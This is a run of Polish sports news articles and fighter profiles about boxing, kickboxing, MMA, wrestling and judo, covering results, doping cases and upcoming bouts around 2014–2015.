Jędrzejczyk jako czołowy polski fighter, który osiągnął najwyższy z możliwych poziomów podróżuje do Tajlandii. Trenuje i walczy tam, gdzie muay thai jest religią. Polak wykorzystał sposobność, aby zaprezentować się rozentuzjazmowanej publiczności na stadionie Lumpinee w rywalizacji z Garethem Nelliesem z Wysp Brytyjskich. Dla Jędrzejczyka ten pojedynek miał wymiar szczególny, gdyż można go rozpatrywać w kategoriach rewanżu. Obaj panowie spotkali się w ringu dwa lata temu i po emocjonującej pięciorundowej wymianie sędziowie przyznali zwycięstwo Anglikowi. Teraz Jędrzejczyk miał okazję zaprezentować się w Tajlandii, podczas gali transmitowanej przez telewizję i wykorzystał okazję, aby pokazać się z jak najlepszej strony
Nellies to trudny przeciwnik. Potężny facet, odporny na ciosy, jednak zawodnikowi z Wrocławia udało się „złamać” rywala. Jędrzejczyk był konsekwentny w swoich działaniach i stosował low kicki oraz liczne ciosy bokserskie. Nellies momentami był bezradny. Przypomnijmy, Jędrzejczyk rywalizuje w wadze półciężkiej. Jego rywal do pojedynku musiał zrzucić aż 7,5kg, co miało wpływ na jego postawę – przede wszystkim na motorykę. Jędrzejczyk zrewanżował się Anglikowi. Tym razem po pięciu rundach sędziowie zdecydowanie wskazali na zwycięstwo polskiego fightera.
Paweł Jędrzejczyk jest zawodnikiem znanym w świecie kickboxingu i muay thai. Fighter z Wrocławia zachwyca swoimi umiejętnościami, walczy na najwyższym poziomie i zdobywa tytuły. W sierpniu 2014 roku sięgnął po pas zawodowego mistrza świata Muay Thai prestiżowej organizacji WKA w kategorii do 81kg. Polak przez TKO w walce o tytuł pokonał Słowaka Daniela Hromka. Do tego należy dodać, że 34-latek z Wrocławia jest pięciokrotnym zawodowym mistrzem świata K1 Rules /Muay Thai organizacji WKN. Jako pierwszy Polak walczył na stadionie Rajadamnern w Bangkoku. Obecnie Jędrzejczyk skupia się na zawodowych występach. Pobyt w Tajlandii z pewnością mu służy. Treningi w ojczyźnie muay thai są wskaźnikiem poziomu zawodnika z Wrocławia, w kontekście którego mówiło się o możliwości występów na galach organizacji Glory.
Czy Polak pasowałby do poziomu prezentowanego na imprezach tej rangi? Co do tego nie można mieć żadnych wątpliwości. Skoro walczy w Tajlandii, posiada tytuły zawodowego mistrza świata i na poziomie zawodowym odnosi sukcesy to jest odpowiednim człowiekiem dla Glory. Jędrzejczyk zrobił w boksie tajskim niemal wszystko. Dla wielu adeptów sportów walki jest ikoną, idolem i wzorem do naśladowania. Ponadto, godnie reprezentuje Polskę odnosząc kolejne sukcesy. Czy Tajlandia zwariuje na punkcie Jędrzejczyka? Z pewnością polski fighter robi wszystko, aby tak było.
KM
Galeria zdjęć autorstwa Andrzeja Ciszewskiego z drugiego dnia Mistrzostw Europy Młodzieży – Wrocław 2014.
Polski bokser wagi ciężkiej urodzony 6 września 1983 roku w Białymstoku. Swoją przygodę z boksem rozpoczął w 2000 roku w klubie sportowym Cristal w Białymstoku. Jego pierwszym trenerem był Ryszard Dargiewicz. Jako amator stoczył 130 walk z czego 102 wygrał, 3 zremisował i 20 przegrał. Pierwszy zawodowy pojedynek Krzysztof wygrał przez nokaut z Amerykaninem Keonem Grahamem w 2010 roku. Kolejna walkę Zimnoch stoczył 26 marca 2010 roku z Dustinem Hendrickiem. Krzysztof wygrał pojedynek przez TKO w pierwszej rundzie. Trzecie starcie przyniosło pierwszy remis w karierze zawodowej Zimnocha. Jego rywalem był Joey Montoya. Kolejne pojedynki przyniosły Krzysztofowi następne zwycięstwa. 18 maja 2013 roku pokonał jednogłośną decyzją byłego mistrza świata Olivera McCalla. 19 października 2013 roku Zimnoch pokonał na gali Wojak Boxing Night: Underground Show w Wieliczce Artura Binkowskiego. W 2013 roku Zimnoch wraz z Andrzejem Liczikiem otworzyli własny klub bokserski Golden Boxing Białystok.
Galeria zdjęć autorstwa Andrzeja Ciszewskiego z drugiego dnia Mistrzostw Europy Młodzieży – Wrocław 2014.
Galeria zdjęć autorstwa Andrzeja Ciszewskiego z pierwszego dnia Mistrzostw Europy Młodzieży – Wrocław 2014.
Galeria zdjęć autorstwa Andrzeja Ciszewskiego z pierwszego dnia Mistrzostw Europy Młodzieży – Wrocław 2014.
Polski bokser urodzony 26 września 1987 roku w Krakowie. Aktualny mistrz Polski wagi ciężkiej. Swoją pierwszą walkę stoczył 18 listopada 2006 roku z Czechem Ervinem Slonką, wygrał ją na punkty. 19 kwietnia 2008 roku walczył z Marcinem Najmanem o pas mistrza Polski wagi ciężkiej. Andrzej wygrał ten pojedynek przez TKO w drugiej rundzie. 18 października 2008 roku zdobył tytuł młodzieżowego mistrza świata WBC pokonując Holendra Harrego Duivenema Juniora przez nokaut w 8 rundzie. 29 listopada obronił pasa mistrza Polski wagi ciężkiej pokonując Tomasza Bonina. 9 maja 2009 roku obronił tytułu młodzieżowego mistrza Świata WBC pokonując Kenijczyka Raymonda Ochienga. 18 grudnia 2009 roku Wawrzyk po raz kolejny obronił tytułu młodzieżowego mistrza świata WBC pokonując amatorskiego wicemistrza świata Ukraińca Ołeksija Mazikinema. Na początku 2010 roku stoczył pierwszy pojedynek w USA na gali w Chicago. Na punkty pokonał Harveya Jollyego. W swoim 20 pojedynku Andrzej pokonał Łotysza Pavelsa Dolgovsa. Po kolejnych siedmiu zwycięstwach Andrzej dostał szansę walki o mistrzostwo Świata Federacji WBA z Aleksandrem Powietkinem. Polak przegrał ten pojedynek przez TKO w pierwszej rundzie. Była to pierwsza porażka Polaka w zawodowej karierze. Po przegranej walce z Powietkinem Andzej pokonał przez TKO Dannego Williamsa. 15 marca 2014 roku pokonał przez TKO Francoisa Botha na gali Wojak Boxing Night w Armałowie. Stawką pojedynku było Międzynarodowe Mistrzostwo Polski w wadze ciężkiej.
Deontay Wilder zostając czempionem WBC wagi ciężkiej dał swoim rodakom wiele radości. Amerykanie w końcu mają powód do dumy. W końcu po ośmiu latach mają mistrza świata w boksie w wadze ciężkiej. Przed Wilderem trudny czas, na horyzoncie pojawiają się chętni do rywalizacji z mistrzem WBC.
Amerykanin imponuje wszystkim swoim rekordem (wygrał trzydzieści trzy walki, w tym trzydzieści dwie przez nokaut) oraz siłą ciosu. Pokonując Stiverne’a wszedł na sam szczyt. Teraz jego głównym zadaniem jest obrona mistrzowskiego pasa, na który zaczęli polować już inni. Chęć rywalizacji z Wilderem zadeklarował czempion wagi ciężkiej czterech federacji IBF/IBO/WBA/WBO Władimir Kliczko. Ukraińcowi w kolekcji brakuje tylko pasa WBC, który przez lata dzierżył jego brat – Witalij. Z tym, że Władimir 25 kwietnia w Madison Square Garden zmierzy się z Bryantem Jenningsem, więc rywalizacja z Wilderem zapewne odbyłaby się jesienią. Kliczko chce stoczyć pojedynek z Amerykaninem, którego wartość wysoko ceni. – Wilder ma ogromną wartość jako pięściarz i posiada pas mistrzowski, dlatego jest odpowiednim rywalem dla mnie – powiedział ukraiński mistrz. Walka Kliczko – Wilder z pewnością byłaby ogromną atrakcją, a także prezentowała odpowiedni poziom sportowy. Tak naprawdę – kto jak nie Amerykanin może walczyć jak równy z równym z Ukraińcem? Ogromny Wilder – 201 cm, 98 kg – jako jeden z nielicznych ma odpowiednie atuty, aby przeciwstawić się Kliczce. Dodatkowo jest młodszy, imponuje siłą ciosu i efektywnością.
Wilder komplikuje trochę plany jednemu z czołowych bokserów wagi ciężkiej. Tyson Fury bardzo chciał rywalizować z Władimirem Kliczko, jednak możliwość tej walki oddala się. Powodem są plany Ukraińca, co do rywalizacji z Wilderem. Sam Fury również nie wyklucza możliwości starcia z Amerykaninem. Jak powszechnie wiadomo Anglik ma bardzo rozbudowane ego i chce zawojować wagę ciężką. Otwarcie mówi o swoich ambicjach. 28 lutego Fury zmierzy się Christianem Hammerem i rywalizacji tej przegrać po prostu nie może. W przypadku porażki jego zamiary oddalą się. Plan Fury’ego jest prosty: wygrana z Hammerem, potem Kliczko i Wilder. – Numerem jeden na mojej liście jest Kliczko, drugi na niej jest Wilder, z którym chciałbym się spotkać po konfrontacji z Ukraińcem. Amerykanin przeżywa obecnie wielkie chwile, ale nie potrwa to długo – powiedział Anglik.
Warto nadmienić, że Fury ma to do siebie, że strasznie dużo mówi. Anglik pracuje nad swoim wizerunkiem w mediach, stara się go skutecznie kreować i robić zamieszanie wokół siebie. Czy idzie to w parze z jego ringowymi możliwościami? Z Hammerem zapewne jest w stanie wygrać, ale czy nadszedł jego czas na zepchnięcie z piedestału mistrza z Ukrainy?
Fury dużo mówi, Kliczko jest konkretny, a Wilder po prostu czeka. Amerykanin jest teraz czempionem i ma ten komfort, że to o walkę z nim boje toczą inni. Gdyby doszło do starcia Kliczko – Wilder byłoby to mega przedsięwzięcie, które na bok zepchnęłoby wszystkie inne wydarzenia w boksie. Amerykanin wykonał swoje zadanie – zdobył pas, a teraz czeka. Na kolejne trofea?
KM
Skandal za skandalem w UFC. Sprawa Andersona Silvy i Nicka Diaza cały czas jest gorąca. Trwa dyskusja, mnożą się domysły i pytania.
Silva i Diaz byli gwiazdami gali UFC 183, podczas której spotkali się w pojedynku wieczoru. Walka nierozstrzygnięta, gdyż pojawiły się niespodziewane komplikacje. Okazało się, że czołowe gwiazdy UFC stosowały substancje zabronione. Czytaj: doping. Silva zażywał drostanolon, w organizmie Diaza wykryto ślady marihuany. Ponadto, u Spidera doszukano się obecności męskich hormonów płciowych o budowie sterydowej – androsteronu.
Tak wyglądają wyniki testów. Warto zastanowić się nad podłożem problemu względem tych dwóch zawodników. Zaczynając od Diaza, w tym przypadku mamy powtórkę z rozrywki. Fighter nie po raz pierwszy wpadł za stosowanie niedozwolonych środków. U Diaza w lutym 2012 roku również wykryto marihuanę. Wtedy zawodnik został zawieszony za stosowanie niedozwolonych środków. Czyli nic nie wyniósł ze swoich wcześniejszych doświadczeń i ponownie sięgnął po szkodliwą substancję. Diaz musi liczyć się z kolejną karą i zapewne utratą 300 tysięcy dolarów, które otrzymał za występ na UFC 183.
Przypadek Andersona Silvy jest zgoła inny. Dla wielu to ogromne zaskoczenie, szok. Przez wiele lat Silva uchodził za wzór do naśladowania. Uznawany za najlepszego fightera bez podziału na kategorie wagowe, wielki mistrz i wspaniały zawodnik. Przychodzi kontrola antydopingowa i taka niespodzianka. W organizmie Silvy wykryto drostanolon, czyli substancję, która była przyczyną zawieszenia Piotra Hallmanna. Sam zawodnik jest w szoku i zapewnia, że żadnych niedozwolonych środków nie stosował. Silva ma prawo domagać się ponownego przeprowadzenia testów, czego zapewne dokona w celu porównania wyników. Jednym logicznym wytłumaczeniem w takiej sytuacji jest pomyłka w laboratorium. Anderson Silva będzie walczył, chodzi o jego nazwisko i renomę. Sytuacja jest trudna.
Wystarczyła informacja o wykryciu niedozwolonych środków w organizmie Spidera i od razu posypała się fala krytyki. Wiele opiniotwórczych ośrodków zaczęło nieprzychylnie wypowiadać się o Silvie. Spokojnie, poczekajmy. Skoro facet twierdzi, że jest czysty to dajmy mu szansę. Oczywiście – broni się to jasne, jednak dlaczego mamy mu nie wierzyć? Poczekajmy. Łatwo wydaje się opinie. Komisja Sportowa Stanu Nevada nie wydała jeszcze żadnego oświadczenia. Warto poczekać na oficjalne stanowisko władz i potwierdzenie wyników testów. Wszystko jest możliwie. Doping w sporcie jest powszechny i momentami nazwiska sportowców, którzy stosują substancje zakazane szokują. Jednakże warto do tych sytuacji podchodzi spokojnie, nie wyciągać pochopnych wniosków.
W stosunku do Diaza sytuacja wygląda inaczej, gdyż on już miał problemy z substancjami zakazanymi. Przypadek Silvy dla wielu jest zaskoczeniem. Skoro zawodnik podejmuje walkę to warto poczekać na oficjalne decyzje odpowiednich władz. Po doświadczeniu Lance’a Armstronga wszystko jest możliwe. Okazało się, że wielki mistrz kolarstwa przez wiele lat okłamywał cały świat. Czy przypadek Andersona Silvy będzie podobny? Poczekajmy z wyrokami i oczernianiem zawodnika. Na wszystko przyjdzie czas. Teraz najważniejsza jest kwestia ustalenia prawdopodobieństwa pomyłki w laboratorium.
KM
Sergio Mora kontra Abraham Han na gali ESPN
Nieprzespana noc czeka fanów gal z cyklu ESPN Friday Night Fights 2015. Z piątku na sobotę pokażemy na naszej antenie na żywo walkę Abraham Han – Sergio Mora. Powtórka w sobotę o godzinie 12:00. Zapowiada się ciekawy, dwunastorundowy pojedynek, którego stawką jest wakujący pas USBA w wadze średniej. Faworytem walki jest starszy od swojego rywala o cztery lata, 34-letni Mora, który w 2008 roku był posiadaczem tytułu mistrza świata federacji WBC. O tym, że mistrza nie można lekceważyć, przekonał się Grzegorz Proksa. Niecałe dwa lata temu podczas gali na Florydzie Mora wypunktował Polaka niszcząc jego marzenia o drugim podejściu do tytułu mistrza świata.W swoich ostatnich starciach „Latynowski Wąż” wyraźnie wygrywał z Dashonem Johnsonem, Samuelem Rogersem i Miltonem Nunezem. Czy potyczkę z Hanem również rozstrzygnie na swoją korzyść? W Beau Rivage Resort & Casino w Biloxi czeka go trudne zadanie, Han w swoim ostatnim pojedynku z Marcosem Reyesem udowodnił bowiem, że jest bardzo dobrym pięściarzem.
Włoska gala na żywo: Marcello Matano – Jussi Koivula
Stawką gali organizowanej we włoskiej Ferrarze jest wakujący interkontynentalny pas federacji IBF w wadze junior średniej. Jej faworytem jest niepokonany w ringu od blisko dwóch lat Koivula. Fin walczył będzie wprawdzie przeciwko wrogo nastawionej do niego publiczności, w swoich ostatnich starciach udowadniał jednak, że potrafi radzić sobie z presją, a potwierdzeniem tego są wygrane przed czasem ze Stiliyanem Kostovem i Ramazim Gogichashvilim. Z kolei Matano ostatnio pokonał wprawdzie z Kristiana Camino, we wrześniu przegrał jednak przez nokaut w dziewiątej rundzie z Felicem Moncellim. Transmisja w sobotę o godzinie 20:30 wyłącznie w FightKlubie!
Źródło: materiały prasowe
Władimir Kliczko stanął oko w oko z Bryantem Jenningsem podczas wczorajszej konferencji prasowej promującej walkę obu pięściarzy. Do pojedynku dojdzie 25 kwietnia w Madison Square Garden.
Walka, która odbędzie się na amerykańskiej ziemi będzie ogromnym wydarzeniem. Po pierwsze, Kliczko dawno nie walczył w USA. Po drugie, Wilder rozbudził apetyty amerykańskich kibiców, którzy teraz z całych sił wspierać będą Jenningsa, aby ten sprawił niespodziankę. Po trzecie, hala i renoma pojedynku dodają dodatkowego smaczku całemu wydarzeniu. Nie da się ukryć, że będzie to ogromne show. Szalejący kibice, a w ringu wielki Kliczko i Kopciuszek o nazwisku Jennings.
Obaj panowie spotkali się podczas konferencji prasowej, która miała na celu zapowiedź i promocję pojedynku. Kliczko jak na mistrza przystało zachwycał kulturą i urokiem osobistym. To stałe elementy w zachowaniu Ukraińca, które budzą ogromny szacunek oraz prezentują wielkość sportową mistrza wagi ciężkiej. O swoim rywalu Kliczko powiedział: – On jest jak Rocky Balboa z Filadelfii. Czy faktycznie 25 kwietnia Jennings zaskoczy mistrza i wytrwale będzie dążył do realizacji swoich marzeń? De facto Amerykanin wcale z Ukraińcem walczyć nie musiał. Mógł stanąć w ringu z Deontayem Wilderem, gdyż był pretendentem do tytułu WBC. Zdecydował się na Kliczkę. Jennings wybrał zadanie zdecydowanie trudniejsze, jednakże druga taka okazja mogła się nie trafić, więc podjął odważną decyzję. Amerykanin spróbuje odebrać mistrzowi z Ukrainy cztery pasy: IBF, WBA, WBO, IBO.
Kliczko ze spokojem i szacunkiem dla przeciwnika podchodzi do pojedynku. Wie, że Jennings jest młodszy oraz dysponuje sporym repertuarem zagrań. – Osiągnięcia Bryatna Jenningsa budzą mój szacunek. Wiem doskonale, że dobrze się porusza i ma niezłą technikę. Zdaję sobie sprawę, iż walka nie będzie łatwa – powiedział mistrz świata wagi ciężkiej. Kliczko jest już zaprawiony w takich bojach. Nie jeden ani nie dwa razy stawał do rywalizacji z przeciwnikami, którzy chcieli spełnić swoje marzenia. Dużo mówili, ba – nawet obiecywali, ale na obietnicach się kończyło. Kliczko ma świadomość tego jaki poziom prezentuje, więc z pewnością w rywalizacji z Jenningsem da swojemu rywalowi czas.
Amerykanin wierzy w swoje możliwości. Fakt, że będzie walczył u siebie jest dla niego dodatkową motywacją, jednak na starcie nie jest w pozycji uprzywilejowanej. Choć jak sam podkreśla – wierzy, że dokona czegoś historycznego. – 25 kwietnia będzie miało miejsce historyczne wydarzenia. Ja będę jego autorem – mówił Jennings. Po raz kolejny amerykański bokser powtórzył frazę o powrocie pasów do domu. Czy Jennings postawi ciężkie warunki Ukraińcowi?
Zainteresowanie pojedynkiem jest ogromne. W pierwszej godzinie sprzedaży biletów wykupiono pięć tysięcy wejściówek. W Madison Square Garden zasiądzie około dwudziestu jeden tysięcy widzów. Będę wspierać swojego rodaka, jednak Kliczko jest wielkim mistrzem, który koncentruje się na tym, co w ringu. Ukrainiec jest ikoną wagi ciężkiej, wielkim mistrzem. Mówią, że trzeba wiedzieć, kiedy ze sceny zejść, ale w przypadku Kliczki ten czas jeszcze nie nadszedł. Chyba, że Jennings przyłoży do tego rękę.
KM
Brawo, brawo i jeszcze raz brawo! Polscy zapaśnicy pokazali się z bardzo dobrej strony podczas Grand Prix w Paryżu. Biało – czerwoni wywalczyli trzynaście medali.
Wynik cieszy, gdyż to dopiero początek przygotowań do sezonu. Pierwsze starty i takie osiągnięcia budzą nadzieję, ale trzeba zachować pewną dozę spokoju. Naszych zawodników czeka okres ciężkiej i wytężonej pracy przed kolejnymi zawodami. Jednakże występ w Paryżu jest godny odnotowania.
Szkoda tylko, że z tych trzynastu medali jeden jest złoty. Ale jak to mówią: lepszy rydz niż nic. Poważnie rzecz ujmując, do startu w Paryżu trzeba podejść spokojnie. Początek sezonu, występy bardzo dobre okraszone nagrodami pozwalają twierdzić, że okres przygotowawczy został solidnie przepracowany. Po złoty medal w stylu klasycznym w kategorii wagowej 61 kg sięgnął Mateusz Bernatek z AKS Piotrków Trybunalski. Na podium znalazł się także drugi z naszych reprezentantów. Trzecie miejsce wywalczył Dawid Kareciński ze Śląska Wrocław.
Drugie miejsce w kategorii 85 kg w klasyku zajął Damian Janikowski. Najlepszy i najbardziej rozpoznawalny polski zapaśnik jest naszą nadzieją na kolejne medale z wielkich imprez. Janikowski podczas Igrzysk Olimpijski w Londynie wywalczył brązowy krążek. Liczymy, że za rok w Rio de Janeiro pokaże się również z dobrej strony. W Paryżu na trzecim miejscu w kategorii 85 kg uplasował się Tadeusz Michalik z Sobieski Poznań. Ponadto, w stylu klasycznym Polska wywalczyła jeszcze jeden medal. Po brąz w kategorii 80 kg sięgnął Mateusz Wolny z Unii Racibórz.
W stylu wolnym nasi reprezentanci wywalczyli cztery medale – trzy srebrne i jeden brązowy. W kategorii wagowej 61 kg drugie miejsce zajął Krzysztof Bieńkowski z AKS Białograd. Srebro trafiło w 70 kg do Magomedmurada Gadzhieva. W kategorii 86 kg zdobyliśmy dwa medale. Srebro wywalczył Radosław Marcinkiewicz z Orła Namysłów, brąz przypadł Sebastianowi Jezierzańskiemu z LKS Dąb Brzeźnica.
Nasze reprezentantki do dorobku medalowego dołożyły cztery krążki. W kategorii 48 kg druga była Iwona Matkowska, trzecie miejsce wywalczyła Anna Łukasiak. Dwa medale nasze zawodniczki zdobyły w wadze 53 kg. Srebro wywalczył Roksana Zasina, brąz Katarzyna Krawczyk.
Trzynaście medali przywiezionych z Paryża to dobry prognostyk. Nasi zapaśnicy dobrze rozpoczęli sezon, ale czeka ich jeszcze dużo pracy. To dopiero początek sezonu. Do najważniejszych wydarzeń w tym roku pozostało jeszcze trochę czasu. Priorytetem jest jak najlepszy występ podczas czerwcowych Igrzysk Europejskich w Baku. Liczymy również na dobre starty na mistrzostwach świata w Las Vegas, które odbędą się we wrześniu. Tymczasem należy kontynuować wytężoną pracę, aby przyniosła ona owoce w najważniejszym momencie. Kolejny start naszych zapaśników 13 lutego podczas turnieju w Klippan.
KM
Polska bokserka i Kick-boxerka urodzona 21 stycznia 1974 roku w Kołobrzegu. Przygodę ze sportem rozpoczęła w wieku 15 lat. W wieku 15 lat przyszedł też pierwszy sukces, mistrzostwo Polski seniorek. Dwa lata później w wieku 17 lat Agnieszka została mistrzynią Świata. Sukcesy amatorskie szybko przeniosła na zawodowe ringi, gdzie w 1994 roku zdobyła zawodowe Mistrzostwo Europy, a w 1995 roku zawodowe Mistrzostwo Świata. Łącznie w Kickboxingu zdobyła cztery mistrzostwa Świata, trzy Mistrzostwa Europy oraz dwa Mistrzostwa Polski. Kolejnym krokiem w zawodowej karierze Agnieszki było przejście z kickboxingu na boks. W 2000 roku zadebiutowała na zawodowym ringu zwyciężając przez nokaut z reprezentantką Węgier Szilvią Porteleki. Kolejne trzy walki przyniosły trzy zwycięstwa przed czasem. Te wygrane dały Agnieszce szanse walki o pas mistrzowski. O pas zawalczyła z Kanadyjką Dianą Dutrą. Agnieszka wygrała walkę przez nokaut w czwartej rundzie. W 2003 roku Agnieszka doznała swojej jedynej porażki w karierze bokserskiej. Stawką pojedynku był pas WIBO w wadze lekko półśredniej. Rylik przegrała na punkty decyzją sędziów. Rok po porażce Agnieszka wróciła silniejsza i pokonała Elizę Olson zdobywając pasy mistrzowskie dwóch federacji. Swoją ostatnią walkę stoczyła w 2005 roku w Madison Square Garden. Jej rywalką była Tawnyah Freeman. Agnieszka wygrała jednogłośną decyzją sędziów. Po tym pojedynku przez liczne kontuzje zakończyła karierę sportową.
Zapraszamy do obejrzenia reportażu z gali kickboxingu zawodowego Suwałki Fight Night. Gala odbyła się 30 stycznia 2015 r. w hali OSiR w Suwałkach.
[kod]
Galeria zdjęć autorstwa Andrzeja Ciszewskiego z dekoracji podczas Mistrzostw Europy Młodzieży – Wrocław 2014.
Reprezentacja Polski judoczek pod okiem Anety Szczepańskiej wzięła udział w międzynarodowym turnieju Belgian Ladies Open. Zawody odbyły się w formule dla zawodniczek do 21 lat i od 21 lat.
Wraz z początkiem lutego (turniej miał miejsce 1 lutego) żeńska reprezentacja Polski w judo zainaugurowała starty w roku 2015. Biało – czerwone pokazały się z dobrej strony i do kraju wrócą z dorobkiem czterech medali. Ponadto, Polki wywalczyły dwa piąte miejsca. Start jak najbardziej udany i obfitujący w sukcesy, co napawa optymizmem w perspektywie kolejnych startów.
W Arlon po złoty medal sięgnęła Katarzyna Furmanek. Zawodniczka AZS AWFiS Gdańsk w finale pojedynku w kategorii wagowej +78 kg pokonała reprezentantkę Francji – Annę Fatoumata M'Bairo. Warto nadmienić, że dla Polki był to występ w nowej kategorii. Wcześniej startowała w niższej wadze. Jak widać – Furmanek już przystosowała się do nowych warunków rywalizacji. 24-letnia zawodniczka, która swoją przygodę z judo rozpoczynała w Gwardii Piła, w swojej karierze sięgnęła po brązowy medal Mistrzostw Europy Juniorów w 2008 oraz wywalczyła brązowy medal na Uniwersjadzie w Belgradzie rok później. Jednakże największym osiągnięciem naszej reprezentantki bez wątpienia jest brąz zdobyty drużynowo podczas ubiegłorocznych mistrzostw Europy seniorek. Występ w Belgii pokazał, że Katarzynę Furmanek czeka ciekawy sezon, do którego jest solidnie przygotowana. oby kontynuowała dobre starty.
Gdyby nie Juul Fransen to cieszylibyśmy się z drugiego złota. Reprezentantka Holandii w finale pojedynku w kategorii 63 kg okazała się lepsza od Karoliny Tałach. Zawodniczka Wybrzeża Gdańsk jest przykładem dokonywania ustawicznych postępów. W 2013 roku Tałach podczas mistrzostw Europy młodzieży sięgnęła po brązowy medal. Rok później podczas European Open w Tallinie sięgnęła po brązowy medal. Ponadto, Tałach wraz z koleżankami zdobyła brązowy medal podczas mistrzostw Europy we Francji. Jak widać z każdym rokiem nasza judoczka odnosi sukcesy na coraz wyższym poziomie. Z pewnością dużą rolę odgrywa baczne oko Anety Szczepańskiej, która pozytywnie wpłynęła na żeńską reprezentację i nadała jej blasku.
Kontynuując temat medalowych zdobyczy, w Arlon srebro w kategorii wagowej 52 kg zdobyła Agata Perenc. W tej samej wadze brąz wywalczyła Karolina Pieńkowska. Można powiedzieć, że Polki zdominowały rywalizację w kategorii 52 kg. Niewiele do szczęścia zabrakło Perenc, która w finałowej rozgrywce przegrała z Julią Russo. Na tej samej zawodniczce potknęła się Pieńkowska. Ponadto, Polska wywalczyła w Arlon dwa piąte miejsca. W kategorii 48 kg tuż za podium uplasowała się Joanna Stankiewicz, a w wadze 63 kg Justyna Karpała.
Dobry występ naszych reprezentantek podczas turnieju Belgian Ladies Open. Występ okraszony czterema medalami. Czuć smak sukcesu. Niech ów pierwszy start w tym roku będzie cudownym wstępem do jakże pięknych i smakowitych występów w dalszej części sezonu.
KM
Organizacja Glory World Series jest wiodącą marką zawodowego kickboxingu na świecie. W swojej działalności poświęca także uwagę mieszanym sztukom walki. Marka organizacji jest istotna, więc należy o nią dbać. Glory postanowiła odnowić kontrakty z kilkoma fighterami.
Oczywiste jest, że widzów na galę przyciągają efektowni i efektywni zawodnicy. Silne uderzenia i nokauty są domeną Zacka Mwekassy, z który przedłużono umowę. 31-letni zawodnik wprawił w zachwyt nie tylko kibiców, ale i władzy organizacji Glory. Styl Mwekassy jak najbardziej pasuje do marki, a co najważniejsze – działa na jej korzyść. Fighter do tej pory wystąpił w trzech walkach dla Glory. Dwie wygrał, zanotował jedną porażkę. Jego ofiarami padli Pat Barry i Brian Collette.
Joe Schilling jest ogromną nadzieją Glory. Zarówno sportową, gdyż jest umiejętności predysponują go do bycia mistrzem kickboxingu, ale również marketingową. Włodarze organizacji liczą, że Schilling przyciągnie amerykańskich fanów na galę i przed ekrany telewizorów. Do tej pory Amerykanin dla Glory stoczył sześć walk – cztery wygrał, dwie przegrał. Debiutował we wrześniu 2013 roku, kiedy to na punkty pokonał Kengo Shimizu. Na gali Glory 12 przegrał z Wayne’m Barretem, ale wziął na nim rewanż Glory 17. W swoim ostatnim pojedynku jednogłośnie na punkty uległ Rosjaninowi Artemowi Levinowi, z którym we wrześniu 2013 roku i wtedy ze starcia wyszedł zwycięsko. Na gali Glory 19 Schilling ma rywalizować z Kanadyjczykiem Robertem Thomasem. Warto nadmienić, że Amerykanin próbuje swoich sił w MMA. W listopadzie walczył dla Bellatora i pokonał Melvina Manhoefa. Schilling jest wszechstronnym zawodnikiem. Związany z kickboxingiem , ale swoich sił próbuje również w MMA. Dla Glory to cenny zawodnik, który ma wyraźnie wpływać na utwierdzanie poziomu marki organizacji.
Podpisanie nowych umów z Mwekassą oraz Schillingiem to z pewnością krok naprzód. Warto dodać, że Glory przedłużyło kontrakty z Artemem Vakhitovem i Joshem Jaunceyem. Jednak jest pewien problem. Nadal nie wiadomo, co dalej z Gokhanem Sakim oraz Tyrone’m Spongiem. Bez wątpienia to ogromne gwiazdy, których strata dla Glory byłaby ogromnym ciosem. Turek, który w 2011 roku zajął 1. miejsce w Glory World Series, w swojej karierze pokonał takich zawodników jak Alistar Overeem czy Daniel Ghite. 31-latek to czołowy kickbokser wagi ciężkiej. Swego czasu mistrz świata i Europy. Z kolei Spong to wielki mistrz Glory w wadze półciężkiej. Fighter z Surinamu znany jest z długich zwycięskich serii. Światu zaprezentował się w 2005 roku i od tamtego czasu obecny jest na największych imprezach. Saki i Spong to kolejne cele Glory. Z pewnością są to zawodnicy gwarantujący wysoki poziom oraz zainteresowanie. Czy dołączą do Schillinga i Mwekassy?
KM
Karolina Kowalkiewicz poznała nazwisko swojej najbliższej rywalki, z którą zmierzy się podczas gali KSW 30 w Poznaniu. Mistrzyni wagi słomkowej stoczy pojedynek z Brazylijką Kalindrą Farią.
Karolina Kowalkiewicz to obecnie, obok Joanny Jędrzejczyk, najbardziej znana zawodniczka mieszanych sztuk walki w Polsce. Zawodniczka z Łodzi w 2013 roku zdobyła pas KSW w kategorii słomkowej pokonując Martę Chojnoską. Do tej pory Kowalkiewicz raz broniła tytułu. Bez problemów pokonała Jasminkę Cive z Austrii. W listopadzie zeszłego roku nasza fighterka próbowała swoich sił za oceanem. Kowalkiewicz zadebiutowała w organizacji Invicta FC i w swojej pierwszej walce pokonała zawodniczkę z Japonii Mizouke Inoue. Teraz przed polską gwiazdą MMA kolejne wyzwanie. W Poznaniu zmierzy się z Kalindrą Farią. Dla Kowalkiewicz może być to najtrudniejszy pojedynek w dotychczasowej karierze. Faria to mocna zawodniczka.
Brazylijka dotychczas stoczyła dwadzieścia walk w MMA, z których w piętnastu triumfowała. Faria mierzyła się nawet z numerem jeden na świecie – Jessicą Aguilar. Brazylijka toczyła wyrównany bój, ale przegrała. Faria notowana jest jako dziewiąta zawodniczka na świecie, Kowalkiewicz zajmuje siódmą pozycję. W Poznaniu dojdzie więc do rywalizacji fighterek wysokich lotów. Czy Brazylijka odbierze pas Polce? Faria trenuje pod okiem Jorge Patino i ustawicznie rozwija się. Brazylijka wywodzi się z muay tai oraz jiu jitsu.
Faria to mocna zawodniczka, która ma dobry bilans i jest wszechstronną fighterką. Z pewnością jest to ogromne wyzwanie dla Karoliny Kowalkiewicz. Polka po zagranicznych wojażach stanie w obronie pasa KSW. Jeśli chce robić kolejne kroki w swojej karierze koniecznie musi wygrać. Skoro zwyciężyła w USA Mizouke Inoue, która jest uznaną zawodniczką MMA to w rywalizacji z Farią nie ma podstaw do obaw. Warto sobie jasno powiedzieć – Kowalkiewicz idzie do przodu i nie można obawiać się rywalizacji z zawodniczką z Brazylii. Choć Faria zapowiada się na trudną rywalkę należy stawić jej czoła. W końcu Kowalkiewicz jest mistrzynią KSW.
